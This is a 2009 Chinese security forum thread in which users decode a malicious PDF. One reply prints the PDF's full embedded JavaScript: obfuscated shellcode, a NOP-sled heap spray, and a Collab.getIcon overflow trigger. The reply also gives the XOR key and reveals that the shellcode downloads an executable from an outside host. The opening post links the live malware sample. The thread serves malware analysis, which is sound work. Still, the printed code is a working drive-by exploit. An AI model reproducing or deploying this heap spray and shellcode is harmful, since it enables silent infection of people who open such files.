1   1  /  1  页   跳转

[讨论] PDF 网马解密??

PDF 网马解密??

我在解pdf网马的时候,用工具HTMLDecoder.exe解压PDF 网马的时候总报错。如下图所示:


请版主牛人指点一下,这是什么原因???有没有其它办法再解此马??谢谢啊。
链接地址为:http://baidu8221.8866.org/1/sf.pdf

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; CIBA; 360SE)
最后编辑networkedition 最后编辑于 2009-08-24 09:11:07
分享到:
gototop
 

回复: PDF 网马解密??

请禁用URL识别

这个下载下来,用记事本打开提取


引用:
?

f u n c t i o n  s p a r y ( )  {

v a r  e v i l c t  =  w i n d o w [ " u n e s " + " c a p e " ] ( " % u 9 " + " \ x 3 0 " + " 9 0 % u 9 " + " \ x 3 0 " + " 9 0 % u E 1 D 9 % u 3 4 D 9 % u 5 8 2 4 % u 5 8 5 8 % u 3 3 5 8 % u B 3 D B % u 0 3 1 C % u 3 1 C 3 % u 6 6 C 9 % u E 9 8 1 % u F A 6 5 % u 3 0 8 0 % u 4 0 2 1 % u F A E 2 % u 1 7 C 9 % u 2 1 2 2 % u 4 9 2 1 % u 0 1 2 1 % u 2 1 2 1 % u 2 1 4 B % u F 1 D E % u 2 1 9 8 % u 2 1 3 1 % u A A 2 1 % u C A D 9 % u 7 F 2 4 % u 8 5 D 2 % u F 1 D E % u D 7 C 9 % u D E D E % u C 9 D E % u 2 2 1 C % u 2 1 2 1 % u D 9 A A % u 1 9 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 6 C % u 2 1 2 1 % u 6 7 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 2 f A % u 2 1 2 1 % u D 9 A A % u 0 3 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 6 5 % u 2 1 2 1 % u 1 1 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 2 A 8 % u 2 1 2 1 % u D 9 A A % u 2 D C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 4 0 % u 2 1 2 1 % u 3 B C 9 % u 2 1 2 1 % u C A 2 1 % u 7 2 7 9 % u F D A A % u 4 B 7 2 % u 4 9 6 1 % u 3 1 2 1 % u 2 1 2 1 % u C 9 7 6 % u 2 3 9 0 % u 2 1 2 1 % u C 4 C 9 % u 2 1 2 1 % u 7 9 2 1 % u 7 2 E 2 % u F D A A % u 4 B 7 2 % u 4 9 0 1 % u 3 1 2 1 % u 2 1 2 1 % u C 9 7 6 % u 2 3 B 8 % u 2 1 2 1 % u E C C 9 % u 2 1 2 1 % u 7 9 2 1 % u 7 6 E 2 % u 1 D C 9 % u 2 1 2 5 % u A A 2 1 % u 1 2 D 9 % u 6 8 E 8 % u E 1 1 2 % u E 2 9 1 % u D 3 D D % u A C 8 F % u D E 6 6 % u E 2 7 E % u 1 F 7 A % u 2 6 E 7 % u 1 F 9 9 % u 7 E A 8 % u 4 7 2 0 % u E 6 1 F % u 2 4 6 6 % u C 1 D E % u C 8 E 2 % u 2 5 B 4 % u 2 1 2 1 % u A 0 7 A % u 3 5 C D % u 2 1 2 0 % u A A 2 1 % u 1 F F 5 % u 2 3 E 6 % u 4 C 4 2 % u 0 1 4 5 % u E 6 1 F % u 2 5 6 3 % u 4 2 0 E % u 0 3 0 1 % u E 3 A 2 % u 1 2 2 9 % u 7 1 E 1 % u 4 9 7 1 % u 2 0 2 5 % u 2 1 2 1 % u 7 2 7 3 % u C 9 7 1 % u 2 2 E 0 % u 2 1 2 1 % u F 1 D E % u D D A A % u E 6 A A % u E 1 A 2 % u 1 F 2 9 % u 3 9 A B % u F A A 5 % u 2 2 5 5 % u C A 6 1 % u 1 F D 7 % u 2 1 E 7 % u 1 2 0 3 % u 1 F F 3 % u 7 1 A 9 % u A 2 2 0 % u 7 5 C D % u E 1 1 2 % u F A 1 2 % u E D A A % u D 9 A 2 % u 5 C 7 5 % u 1 F 2 8 % u 3 D A 8 % u A 2 2 0 % u 2 5 E 1 % u D 3 C A % u E D A A % u F 8 A A % u E 2 A 2 % u 1 2 3 1 % u 1 F E 1 % u 6 2 E 6 % u 2 0 0 D % u 2 1 2 1 % u 7 0 2 1 % u 7 1 7 2 % u 7 1 7 1 % u 7 1 7 1 % u 7 6 7 1 % u C 9 7 1 % u 2 2 1 8 % u 2 1 2 1 % u 3 8 C 9 % u 2 1 2 1 % u 4 5 2 1 % u 2 5 8 0 % u 2 1 2 1 % u A C 2 1 % u 4 1 8 1 % u D E D E % u C 9 D E % u 2 2 1 6 % u 2 1 2 1 % u F A 1 2 % u 7 2 7 2 % u 7 2 7 2 % u F 1 D E % u 1 9 A 1 % u A 1 C 9 % u C 8 1 9 % u 2 E 5 4 % u 5 9 A 0 % u B 1 2 4 % u B 1 B 1 % u 5 5 B 1 % u 7 4 2 7 % u C D A A % u 6 1 A C % u D E 2 4 % u C 9 C 1 % u D E 0 F % u D E D E % u C 9 E 2 % u D E 0 9 % u D E D E % u 3 0 9 9 % u 2 5 2 0 % u E 3 A 1 % u 2 1 2 D % u 3 A C 9 % u D E D E % u 1 2 D E % u 7 1 E 1 % u C 9 7 5 % u 2 1 7 5 % u 2 1 2 1 % u C 9 7 1 % u 2 3 A A % u 2 1 2 1 % u F 1 D E % u A 1 1 7 % u 0 5 1 D % u 5 6 2 1 % u C 9 2 B % u 2 3 6 0 % u 2 1 2 1 % u D E 1 2 % u D E 7 6 % u C 9 F 1 % u 2 0 D A % u 2 1 2 1 % u D E 4 9 % u 2 1 2 1 % u D E 2 1 % u C 9 F 1 % u D F C 9 % u D E D E % u 7 6 7 2 % u 1 2 7 7 % u 7 1 E 1 % u C 9 7 5 % u 2 1 3 F % u 2 1 2 1 % u C 9 7 1 % u 2 3 7 4 % u 2 1 2 1 % u F 1 D E % u A 1 1 7 % u 0 5 1 D % u 5 6 2 1 % u C 9 2 B % u 2 3 2 A % u 2 1 2 1 % u D E 1 2 % u D E 7 6 % u 7 9 F 1 % u 7 E 7 F % u E 2 7 A % u 2 3 C A % u E 2 7 9 % u D 8 C 9 % u D E D E % u 7 7 D E % u A 2 7 6 % u 2 9 C D % u D D A A % u 2 9 4 B % u 1 F 7 6 % u 5 6 D E % u C 9 3 5 % u 2 3 7 C % u 2 1 2 1 % u F 1 D E % u D D A A % u 4 0 4 9 % u 4 4 4 C % u 4 9 2 1 % u 6 4 6 8 % u 5 3 6 7 % u D 5 A A % u 2 9 9 8 % u 2 1 2 1 % u D 2 2 1 % u 5 4 8 7 % u 4 B 0 E % u 1 F 2 1 % u 5 5 D E % u 0 1 0 5 % u 0 5 C 9 % u 2 1 2 3 % u D E 2 1 % u A A F 1 % u C 9 D 9 % u 2 0 E A % u 2 1 2 1 % u F 1 D E % u D 9 1 A % u 2 9 5 5 % u A A 1 7 % u 0 5 6 5 % u 1 F 0 1 % u 2 1 D E % u D E 1 F % u 0 5 5 5 % u C 9 3 D % u 2 0 C E % u 2 1 2 1 % u F 1 D E % u E 5 A 2 % u 7 E 3 1 % u 9 9 7 F % u 2 1 2 0 % u 2 1 2 1 % u 4 9 E 2 % u 4 F 4 E % u 2 1 2 1 % u 5 4 4 9 % u 4 D 5 3 % u C A 4 C % u A C 3 4 % u 0 5 6 5 % u 7 1 2 5 % u 0 3 C 9 % u D E D F % u 7 1 D E % u 6 B C 9 % u 2 1 2 3 % u C 8 2 1 % u D F C 3 % u D E D E % u C 7 C 9 % u D E D E % u A 2 D E % u 2 9 E 5 % u 4 B E 2 % u 4 9 4 D % u 5 5 4 F % u 4 D 4 5 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C D A % u D E D E % u C 9 7 1 % u 2 3 0 2 % u 2 1 2 1 % u 9 A C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 1 2 4 9 % u 2 1 1 3 % u 4 9 2 1 % u 5 2 5 4 % u 5 3 4 4 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C F 0 % u D E D E % u C 9 7 1 % u 2 0 D 8 % u 2 1 2 1 % u B 0 C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 4 2 4 9 % u 5 6 5 7 % u 4 9 2 1 % u 4 9 5 2 % u 4 E 4 5 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C 8 6 % u D E D E % u C 9 7 1 % u 2 0 E E % u 2 1 2 1 % u 4 6 C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 5 7 4 9 % u 5 9 4 6 % u C A 2 1 % u A C 3 4 % u 0 5 6 5 % u 7 1 2 5 % u A 3 C 9 % u D E D C % u 7 1 D E % u 8 B C 9 % u 2 1 2 0 % u C 8 2 1 % u D F 6 3 % u D E D E % u C 7 C 9 % u D E D E % u A 2 D E % u 2 5 E 5 % u C 9 E 2 % u 2 0 8 A % u 2 1 2 1 % u 3 A 4 9 % u 6 7 E 7 % u 7 1 5 8 % u E 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 B 6 % u 2 1 2 1 % u C D 4 9 % u 2 2 B 6 % u 7 1 2 D % u 9 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 A 2 % u 2 1 2 1 % u 8 B 4 9 % u 2 C D D % u 7 1 5 D % u B F C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 4 E % u 2 1 2 1 % u C C 4 9 % u C E 7 7 % u 7 1 1 7 % u A B C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 7 A % u 2 1 2 1 % u D 1 4 9 % u 2 5 A B % u 7 1 7 E % u 5 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F D 6 % u D E D E % u 5 9 4 9 % u F A 4 9 % u 7 1 3 D % u 4 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 1 2 % u 2 1 2 1 % u C E 4 9 % u C 1 E F % u 7 1 4 1 % u 6 F C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 3 E % u 2 1 2 1 % u 9 1 4 9 % u 0 C 6 8 % u 7 1 F A % u 1 B C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D E 1 7 % u D E D E % u 8 A 4 9 % u B A 7 F % u 7 1 3 F % u 0 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 8 6 % u D E D E % u 7 8 4 9 % u A 0 B 6 % u 7 1 2 3 % u 3 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 C 2 % u 2 1 2 1 % u 5 F 4 9 % u C 3 F 9 % u 7 1 5 2 % u D F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 E E % u 2 1 2 1 % u B F 4 9 % u 9 A D 8 % u 7 1 1 4 % u C B C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F B 3 % u D E D E % u 7 6 4 9 % u 9 4 8 1 % u 7 1 9 A % u F 7 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 5 F % u D E D E % u 3 B 4 9 % u 3 F 5 B % u 7 1 2 3 % u E 3 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 4 B % u D E D E % u C 1 4 9 % u 1 1 7 A % u 7 1 B 5 % u 8 F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 7 7 % u D E D E % u B 6 4 9 % u C 3 E 8 % u 7 1 8 2 % u B B C 9 % u 2 1 2 1 " + " % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 6 3 % u D E D E % u 4 9 4 9 % u E 4 0 5 % u 7 1 9 2 % u A 7 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 " + " % u C 9 E 2 % u 2 1 7 6 % u 2 1 2 1 % u 5 3 4 9 % u 9 2 D F % u 7 1 3 7 % u 5 3 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 6 5 % u D E D E % u 3 2 C A % u 4 4 4 B % u C 9 7 1 % u D A D 6 % u D E D E % u C 9 7 1 % u D F 8 A % u D E D E % u 9 6 C 8 % u D E D D % u C 9 D E % u D E C 9 % u D E D E % u C 9 E 2 % u D C 8 8 % u D E D E % u 6 E 4 9 % u 6 E C E % u 7 1 2 4 % u 1 F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 2 E % u 2 1 2 1 % u A F 4 9 % u 2 F 6 F % u 7 1 C D % u 0 B C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u 1 2 E 2 % u 4 5 E 1 % u 6 1 A A % u A 4 1 1 % u 5 9 E 1 % u 1 F 3 1 % u 6 1 A A % u 1 F 2 D % u 5 1 A A % u 8 C 3 D % u A A 1 F % u 2 9 6 1 % u C A E 2 % u 1 F 2 A " + " % u 6 1 A A % u A 2 1 5 % u 5 D E 1 % u A A 1 F % u 1 D 6 1 % u 4 1 E 2 % u A A 1 7 % u 0 5 4 D % u 1 7 0 5 % u 6 4 A A % u 1 7 1 D % u 7 5 A A % u 5 9 2 4 % u F 4 2 2 % u A A 1 F % u 3 9 6 B % u A A 1 F % u 0 1 7 B % u F C 2 2 % u 1 A C 2 % u 1 F 6 8 % u 1 5 A A % u 2 2 A A % u 1 2 D 4 % u 1 2 D E % u D D E 1 % u A 5 8 D % u 5 5 E 1 % u E 0 2 6 % u 2 C E E % u D 9 2 2 % u D 5 C A % u 1 A 1 7 % u 0 5 5 D % u 5 4 0 9 % u 1 F F E % u 7 B A A % u 2 2 0 5 % u 4 7 F C % u A A 1 F % u 6 A 2 D % u A A 1 F % u 3 D 7 B % u F C 2 2 % u A A 1 F % u A A 2 5 % u E 4 2 2 % u A 8 1 7 % u 0 5 6 5 % u 4 0 3 D % u C 9 E 2 % u D A 4 7 % u D E D E  % u 5549 % u 5155 % u 0e1b % u 470e % u 4254 % u 0f4a % u 5252 % u 4d0f % u 0e40 % u 0f10 % u 5944 % u 2 1 44" ) ;                                                                                                                                                                                         

g a r b a g e  =  u n e s c a p e ( " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % u 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " ) + e v i l c t ;

n o p b l o c k  =  u n e s c a p e ( " % " + " u " + " 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " + " % " + " u " + " 9 " + " \ x 3 0 " + " 9 " + " \ x 3 0 " ) ; 

h e a d e r s i z e  =  1 0 ;

a c l  =  h e a d e r s i z e + g a r b a g e . l e n g t h ;

w h i l e  ( n o p b l o c k . l e n g t h < a c l )  n o p b l o c k + = n o p b l o c k ;

f i l l b l o c k  =  n o p b l o c k . s u b s t r i n g ( 0 ,  a c l ) ;

b l o c k  =  n o p b l o c k . s u b s t r i n g ( 0 ,  n o p b l o c k . l e n g t h - a c l ) ;

w h i l e ( b l o c k . l e n g t h + a c l < 0 x 4 0 0 0 0 )  b l o c k  =  b l o c k + b l o c k + f i l l b l o c k ;

m e m o r y  =  n e w  A r r a y ( ) ;

f o r  ( i = 0 ; i < 1 8 0 ; i + + )  m e m o r y [ i ]  =  b l o c k  +  g a r b a g e ;

v a r  b u f f e r s i z e  =  4 0 1 2 ;

v a r  b u f f e r  =  A r r a y ( b u f f e r s i z e ) ;

f o r  ( i = 0 ;  i < b u f f e r s i z e ;  i + + )

{

b u f f e r [ i ]  =  u n e s c a p e ( " % 0 a % 0 a % 0 a % 0 a " ) ;

}



C o l l a b [ " \ x 6 7 \ x 6 5 \ x 7 4 \ x 4 9 \ x 6 3 \ x 6 f \ x 6 e " ] ( b u f f e r + ' \ x 5 f \ x 4 e \ x 2 e \ x 6 2 \ x 7 5 \ x 6 e \ x 6 4 \ x 6 c \ x 6 5 ' ) ;

}

s p a r y ( ) ;


到HTMLDecoder.exe,去空格,5>Unicode清除(%u,\u)(参数/无参数)解密    密钥为 21

结果http://xxx.ss.la/1.exe
gototop
 

回复:PDF 网马解密??

好的,我下次不发URL链接了。
我解出来了,并且也用freshow 解了一遍。
谢谢指点。呵呵
gototop
 

回复 3F redbsd 的帖子

无论是解pdf或swf下载后,可先使用记事本方式打开查看源文件内容,这是解此类网马的第一要诀
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT